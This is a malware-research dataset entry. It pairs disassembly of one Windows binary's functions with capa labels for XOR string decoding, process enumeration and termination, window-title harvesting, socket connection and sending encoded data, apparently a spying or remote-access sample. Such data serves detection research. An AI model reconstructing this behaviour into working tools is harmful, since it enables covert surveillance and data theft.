joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100043e0
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e4a6
mov eax, dword fs:[0]
push eax
sub esp, 0x1d4
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x118]
push eax
push 0x104
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ebx, ebx
mov ecx, 0xc8
xor eax, eax
jmp 0x10004430
mov dl, byte [eax + 0x100438ec]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x134], dl
inc eax
and ecx, 0xff
cmp eax, 0x10
jb 0x10004430
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x134]
push ecx
mov edx, eax
push edx
mov byte [ebp - 0x124], bl
call fcn.100222af
lea eax, [ebp - 0x118]
add esp, 0xc
push eax
call fcn.10023675
add esp, 4
lea ecx, [ebp - 0x1e0]
push ecx
call fcn.10015ba0
push 0x12
lea ecx, [ebp - 0x118]
lea esi, [ebp - 0x1dc]
mov dword [ebp - 4], ebx
call fcn.100175f0
test eax, eax
jne 0x100044c4
mov edx, dword [ebp - 0x1e0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x1d4]
lea ecx, [ebp + ecx - 0x1e0]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x100044e5
or eax, 4
jmp 0x100044e5
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0x1a8]
lea ecx, [ebp + ecx - 0x1e0]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
push eax
call fcn.10001550
mov dword [ebp - 0x120], 0x6f727245
mov dword [ebp - 0x11c], 0x203a72
push edi
push ecx
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x1e0]
push edx
mov byte [ebp - 4], 1
call fcn.1001ce80
add esp, 0xc
push eax
call fcn.1001ce80
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.10014f60
mov eax, dword [esi]
mov eax, dword [eax + 4]
mov ecx, dword [eax + esi + 0xc]
xor edi, edi
test cl, 6
jne 0x10004557
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x10004557
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
cmp edi, ebx
je 0x10004576
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], ebx
jne 0x1000456f
or eax, 4
push ebx
push eax
call fcn.10001550
xor eax, eax
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
call fcn.10017690
test eax, eax
jne 0x100045bf
mov edx, dword [ebp - 0x1e0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x1d4]
lea ecx, [ebp + ecx - 0x1e0]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x100045b8
or eax, 4
push ebx
push eax
call fcn.10001550
call fcn.10004330
lea ecx, [ebp - 0x180]
mov dword [ebp - 4], 0xffffffff
call fcn.10015e20
lea eax, [ebp - 0x180]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1002116d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x10004630
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push pe_nt_image_headers32
push 0
push 0x10acfef0
call fcn.10025d10
mov ecx, dword [ebp + 8]
add esp, 0xc
xor eax, eax
sub ecx, 0x10acfef0
mov dl, byte [ecx + eax + 0x10acfef0]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x10acfef0], dl
inc eax
cmp eax, 0x100
jl 0x10004652
mov eax, 0x10acfef0
pop ebp
ret
Function at 0x10004680
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003df96
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dx, word [0x10043904]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
mov esi, ecx
mov ecx, dword [0x10043900]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x100048a4
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x10004700
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x100047b5
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10004743
sub eax, edx
sar eax, 1
push eax
mov eax, esi
lea ecx, [ebp - 0x63c]
call fcn.10018dd0
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10004770
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x63c]
push eax
call fcn.10017210
mov esi, eax
cmp esi, 0xffffffff
jne 0x100047d4
mov dword [ebp - 4], eax
cmp dword [ebp - 0x628], 8
jb 0x100047b5
mov ecx, dword [ebp - 0x63c]
push ecx
call fcn.10022061
add esp, 4
mov dx, word [ebx]
add ebx, 2
test dx, dx
jne 0x100047b5
cmp word [ebx], di
je 0x100048a4
mov esi, dword [ebp - 0x660]
jmp 0x10004700
xor eax, eax
mov word [ebp - 0x658], ax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x100047f6
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x658]
call fcn.10018dd0
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x10004820
sub eax, edx
sar eax, 1
push eax
mov eax, dword [ebp - 0x648]
push ebx
inc eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.10017080
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x10004860
mov ecx, dword [ebp - 0x658]
push ecx
call fcn.10022061
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x10004874
lea eax, [ebp - 0x63c]
mov edx, dword [ebp - 0x65c]
push eax
push 0x104
push edx
call fcn.100244e7
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x100048a0
mov eax, dword [ebp - 0x63c]
push eax
call fcn.10022061
add esp, 4
mov al, 1
jmp 0x100048a6
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x10004920
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0
push 0xf
mov dword [ebp - 0x138], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x134]
mov edi, eax
push ecx
push edi
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x100049c9
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, dword [ebp - 0x138]
push edx
lea eax, [ebp - 0x110]
push eax
call fcn.10024a41
add esp, 8
test eax, eax
jne 0x100049b7
mov ecx, dword [ebp - 0x12c]
push ecx
push eax
push 1
call ebx
mov esi, eax
test esi, esi
je 0x100049b7
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x12c], eax
je 0x100049b7
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x134]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1000496d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret

Function at 0x10004d00
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x100ac7ec]
push ebx
push esi
push edi
test eax, eax
js 0x10004e08
cmp eax, 6
jge 0x10004e08
mov esi, eax
imul esi, esi, 0x214
push ecx
add esi, 0x100abb74
inc eax
lea edi, [esi + 4]
push pe_nt_image_headers32
mov dword [0x100ac7ec], eax
push edi
mov dword [esi], 1
call fcn.100241aa
add esp, 0xc
cmp dword [esi], 0
je 0x10004e08
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0xe]
movzx ecx, word [ebp - 0x12]
movzx edx, word [ebp - 0x14]
push eax
push ecx
push edx
push edi
lea ebx, [esi + 0x110]
push str.._s_04d__02d__02d.txt
push ebx
mov dword [esi + 0x104], eax
mov dword [esi + 0x108], ecx
mov dword [esi + 0x10c], edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x210], eax
cmp eax, 0xffffffff
jne 0x10004de3
mov dword [esi], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10004e08
mov ecx, dword [esi + 0x210]
push ecx
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x10004e20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
test eax, eax
js 0x10005017
cmp eax, dword [ecx + 0xc7c]
jge 0x10005017
imul eax, eax, 0x214
cmp dword [eax + ecx + 4], 0
lea esi, [eax + ecx + 4]
je 0x10005017
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x812]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
cmp ecx, dword [esi + 0x104]
jne 0x10004ea6
movzx edx, word [ebp - 0x816]
cmp edx, dword [esi + 0x108]
jne 0x10004ea6
movzx eax, word [ebp - 0x818]
cmp eax, dword [esi + 0x10c]
je 0x10004f63
mov ecx, dword [esi + 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [ebp - 0x812]
movzx ecx, word [ebp - 0x816]
movzx edx, word [ebp - 0x818]
push eax
push ecx
push edx
mov dword [esi + 0x10c], edx
lea edx, [esi + 4]
push edx
lea edi, [esi + 0x110]
push str.._s_04d__02d__02d.txt
push edi
mov dword [esi + 0x104], eax
mov dword [esi + 0x108], ecx
call ebx
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x210], eax
cmp eax, 0xffffffff
jne 0x10004f2d
mov dword [esi], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10004f63
mov eax, dword [esi + 0x210]
push eax
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
push 0x3ff
lea ecx, [ebp - 0x807]
push 0
push ecx
mov byte [ebp - 0x808], 0
call fcn.10025d10
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
push edx
push eax
lea ecx, [ebp - 0x808]
push 0x400
push ecx
call fcn.10023a23
push 0x3ff
lea edx, [ebp - 0x407]
push 0
push edx
mov byte [ebp - 0x408], 0
call fcn.10025d10
movzx ecx, word [ebp - 0x80c]
movzx edx, word [ebp - 0x80e]
lea eax, [ebp - 0x808]
push eax
movzx eax, word [ebp - 0x810]
push ecx
push edx
push eax
lea ecx, [ebp - 0x408]
push str._02d:_02d:_02d__s_r_n
push ecx
call ebx
lea eax, [ebp - 0x408]
add esp, 0x40
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004ff0
mov ecx, dword [esi + 0x210]
sub eax, edx
push 0
lea edx, [ebp - 0x81c]
push edx
push eax
lea eax, [ebp - 0x408]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x100050f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x1004a650]
xor eax, esp
mov dword [esp + 0x8c], eax
cmp dword [esi + 0x18], 0
mov eax, dword [ebp + 8]
push ebx
push edi
mov dword [esp + 0xc], eax
je 0x10005266
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
lea edx, [esp + 0x40]
mov edi, eax
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [esi + 0x18]
mov ebx, eax
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esi + 0x14]
push 0xcc0020
push 0
push 0
push ebx
push edx
mov dword [esp + 0x24], eax
mov eax, dword [esi + 0x10]
push eax
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [esi + 0x20], 1
jne 0x10005256
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
mov edx, dword [esi + 0x120]
push edx
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea ebx, [esi + 0x21]
mov eax, ebx
lea ecx, [eax + 1]
jmp 0x100051e0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100051e0
sub eax, ecx
push eax
mov eax, dword [esi + 0x14]
push ebx
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, 0x3e
xor eax, eax
mov dl, byte [eax + str.P03__1fuxyk]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x14], dl
inc eax
and ecx, 0xff
cmp eax, 0x29
jb 0x10005202
lea eax, [esp + 0x14]
push eax
push ebx
mov byte [esp + 0x45], 0
call fcn.100222af
mov eax, ebx
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10005233
mov ecx, dword [esi + 0x14]
sub eax, edx
mov edx, dword [esi + 0x10]
push eax
push ebx
sub ecx, 0xf
push ecx
sub edx, 0xdc
push edx
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop ebx
xor ecx, esp
call fcn.1002206c
mov esp, ebp
pop ebp
ret 4
Function at 0x100058f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d850
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004a650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 4], 0
mov eax, dword [esi + 8]
mov ecx, dword [0x10acfcb8]
sub ecx, dword [0x10acfcb4]
mov dword [ebp - 0x14], eax
mov eax, 0xdd67c8a7
imul ecx
mov eax, dword [ebp - 0x14]
add edx, ecx
sar edx, 8
mov edi, edx
shr edi, 0x1f
add edi, edx
or ebx, 0xffffffff
cmp edi, eax
ja 0x10005963
push str.invalid_vector_T__subscript
call fcn.100215cb
mov eax, 0x100059ef
ret
imul eax, eax, 0x128
add eax, dword [0x10acfcb4]
mov ecx, dword [eax]
cmp ecx, dword [esi + 0xc]
jne 0x100059ac
lea ecx, [esi + 0x10]
add eax, 0x24
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100059a0
test dl, dl
je 0x1000599c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100059a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x10005980
xor eax, eax
jmp 0x100059a5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100059ac
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
cmp ebx, 0xffffffff
je 0x100059ef
cmp edi, ebx
ja 0x100059c6
push str.invalid_vector_T__subscript
call fcn.100215cb
imul ebx, ebx, 0x128
add ebx, dword [0x10acfcb4]
mov edx, dword [ebx]
push edx
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x100059ef
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006af0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003da8b
mov eax, dword fs:[0]
push eax
sub esp, 0xc40
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0xc48], ebx
mov dword [ebp - 0xc44], ebx
mov dword [ebp - 0xc40], ebx
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0xc48]
mov dword [ebp - 4], ebx
call fcn.10003f70
add esp, 4
mov word [ebp - 0xc34], 0xac2
mov byte [ebp - 0xc32], 0xc
call fcn.10024189
and eax, 0x800000ff
jns 0x10006b6a
dec eax
or eax, 0xffffff00
inc eax
mov esi, dword [ebp - 0xc48]
mov byte [ebp - 0xc31], al
mov eax, dword [ebp - 0xc44]
sub eax, esi
sar eax, 2
mov byte [ebp - 0xc30], 0x21
mov dword [ebp - 0xc4c], eax
mov dword [ebp - 0xc2c], eax
cmp eax, ebx
jbe 0x10006c1f
lea ecx, [ebp - 0x728]
mov dword [ebp - 0xc38], ecx
cmp ebx, 0x14
jge 0x10006c1f
mov eax, dword [esi + ebx*4]
push 0x104
lea edx, [ebp - 0x11c]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edx, dword [esi + ebx*4]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edi, dword [ebp - 0xc38]
mov eax, dword [ebp - 0xc38]
add edi, 0xfffffb00
mov ecx, 0x10
lea esi, [ebp - 0x11c]
rep movsd dword es:[edi], dword [esi]
mov edi, eax
mov ecx, 0x10
lea esi, [ebp - 0x224]
inc ebx
add eax, 0x40
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xc48]
mov dword [ebp - 0xc38], eax
cmp ebx, dword [ebp - 0xc4c]
jb 0x10006ba8
mov ecx, 0xa0c
lea edx, [ebp - 0xc34]
call fcn.10007330
test esi, esi
je 0x10006c3c
push esi
call fcn.10022061
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret 4

Function at 0x10006e00
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10006e39
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x100acbd4], eax
cmp eax, 0xffffffff
je 0x10006e29
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [0x100acbd8], eax
test eax, eax
je 0x10006e29
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x101acbe4], 0x1000c820
mov al, 1
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x10006e80
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [0x1004a650]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
push esi
mov esi, ecx
cmp dword [esi + 4], 0xffffffff
push edi
mov edi, dword [ebp + 8]
jne 0x10006ed5
push 0x1004bf28
call fcn.10004630
add esp, 4
push eax
push 0
mov ecx, 0x100abb70
call fcn.10004e20
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1002206c
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
mov eax, 2
push ecx
mov word [esp + 0x10], ax
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
xor ebx, ebx
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x10006f23
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x10006f23
movsx edx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
push edx
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.10025490
add esp, 0xc
mov ecx, dword [esi + 4]
push 0x10
lea eax, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0xffffffff
jne 0x10006f82
call edi
cmp eax, 0x2733
je 0x10006f82
call edi
push eax
push 0x1004c028
call fcn.10004630
add esp, 4
push eax
push ebx
mov ecx, 0x100abb70
call fcn.10004e20
add esp, 0xc
call fcn.10007060
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1002206c
mov esp, ebp
pop ebp
ret 8
mov edx, dword [esi + 8]
mov eax, dword [esi + 4]
push 0x23
push edx
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10006ff9
call edi
push eax
push 0x1004c128
call fcn.10004630
add esp, 4
push eax
push ebx
mov ecx, 0x100abb70
call fcn.10004e20
mov eax, dword [esi + 4]
add esp, 0xc
cmp eax, 0xffffffff
je 0x10006fcc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x10006fdd
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], ebx
mov byte [esi + 0x100038], bl
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1002206c
mov esp, ebp
pop ebp
ret 8
push 0x80000
lea ecx, [esi + 0xc]
push ebx
push ecx
call fcn.10025d10
add esp, 0xc
push 0x80000
lea edx, [esi + 0x80010]
push ebx
push edx
mov dword [esi + 0x8000c], ebx
call fcn.10025d10
add esp, 0xc
mov ecx, esi
mov edi, 0x10007620
mov dword [esi + 0x100010], ebx
call fcn.10004190
mov ecx, dword [esp + 0x1c]
mov al, 1
pop edi
mov byte [esi + 0x100038], al
pop esi
pop ebx
xor ecx, esp
call fcn.1002206c
mov esp, ebp
pop ebp
ret 8
Function at 0x10007330
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.10035930
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x101acbec
mov esi, ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x100acbd4], 0xffffffff
je 0x10007438
cmp byte [0x101acc08], 0
je 0x10007438
push 0x80000
lea eax, [ebp - 0x80008]
push 0
push eax
call fcn.10025d10
add esp, 0xc
push esi
lea ecx, [ebp - 0x80008]
push edi
push ecx
call fcn.10025490
add esp, 0xc
xor eax, eax
cmp byte [ebp - 0x80008], 0xc1
jne 0x100073cc
mov cl, byte [ebp - 0x80006]
lea edi, [esi - 3]
test edi, edi
jle 0x100073f8
mov dl, byte [ebp + eax - 0x80005]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80005], dl
inc eax
cmp eax, edi
jl 0x100073b2
jmp 0x100073f8
mov cl, byte [ebp - 0x80005]
lea edi, [esi - 4]
test edi, edi
jle 0x100073f8
lea esp, [esp]
mov dl, byte [ebp + eax - 0x80004]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80004], dl
inc eax
cmp eax, edi
jl 0x100073e0
mov ecx, dword [0x101acbe0]
test ecx, ecx
jle 0x10007491
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x10007456
push eax
push 0x1004c528
call fcn.10004630
add esp, 4
push eax
push 0
mov ecx, 0x100abb70
call fcn.10004e20
add esp, 0xc
mov esi, 0x100acbd0
call fcn.10007060
push 0x101acbec
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x80008]
push eax
lea ecx, [ecx + 0x1012cbe0]
push ecx
call fcn.10025490
add esp, 0xc
add dword [0x101acbe0], esi
push 0x101acbec
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret
xor edi, edi
test esi, esi
jle 0x10007473
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov eax, dword [0x100acbd4]
push 0
push esi
lea edx, [ebp + edi - 0x80008]
push edx
push eax
call ebx
cmp eax, 0xffffffff
je 0x100074bf
sub esi, eax
add edi, eax
test esi, esi
jg 0x1000749d
jmp 0x10007473
mov ebx, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call ebx
cmp eax, 0x2733
jne 0x100074fe
mov ecx, dword [0x101acbe0]
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x100074e9
push eax
push 0x1004c628
jmp 0x10007416
push esi
lea edx, [ebp + edi - 0x80008]
push edx
lea eax, [ecx + 0x1012cbe0]
push eax
jmp 0x10007465
call ebx
push eax
push 0x1004c728
jmp 0x10007416